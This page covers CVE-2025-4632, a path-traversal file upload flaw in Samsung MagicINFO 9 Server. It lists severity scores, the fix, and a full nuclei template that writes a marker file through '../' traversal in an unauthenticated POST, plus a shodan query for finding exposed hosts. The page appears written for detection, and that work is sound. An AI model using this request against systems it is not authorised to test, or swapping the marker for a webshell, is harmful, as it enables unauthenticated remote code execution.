Samsung MagicINFO 9 Server - File Upload & Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-05-22; known to be used by ransomware.

criticalseverity

9.8CVSS score

24.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.

Impact

Unauthenticated attackers can write arbitrary files with system authority through path traversal in the file upload endpoint, achieving remote code execution.

Fix

Upgrade Samsung MagicINFO 9 Server to version 21.1052 or later that properly validates file upload paths.

How to confirm it

Send: POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.html&deviceType={{deviceType}}&deviceModelName={{deviceModelName}…
Positive when: status_code == 200 and contains(server, "MagicInfo Premium Server")
Send: GET /MagicInfo/{{filename}}.html
Positive when: contains(body, "{{marker}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-4632 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-4632

info:
  name: Samsung MagicINFO 9 Server - File Upload & Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.
  impact: |
    Unauthenticated attackers can write arbitrary files with system authority through path traversal in the file upload endpoint, achieving remote code execution.
  remediation: |
    Upgrade Samsung MagicINFO 9 Server to version 21.1052 or later that properly validates file upload paths.
  reference:
    - https://arcticwolf.com/resources/blog/follow-up-samsung-patches-zero-day-vulnerability-magicinfo-9-server-cve-2025-4632/
    - https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/
    - https://www.huntress.com/blog/rapid-response-samsung-magicinfo9-server-flaw
    - https://nvd.nist.gov/vuln/detail/cve-2025-4632
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4632
    cwe-id: CWE-22
    epss-score: 0.24066
    epss-percentile: 0.97862
    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: samsung
    product: magicinfo_9_server
    shodan-query: "Server: magicinfo premium server"
  tags: cve,cve2025,file-upload,kev,rce,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alpha(6)}}"
  deviceType: "{{rand_text_alpha(6)}}"
  deviceModelName: "{{rand_text_alpha(6)}}"
  swVer: "{{rand_int(100, 999)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.html&deviceType={{deviceType}}&deviceModelName={{deviceModelName}}&swVer={{swVer}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        {{marker}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(server, "MagicInfo Premium Server")'
        condition: and
        internal: true

  - raw:
      - |
        GET /MagicInfo/{{filename}}.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from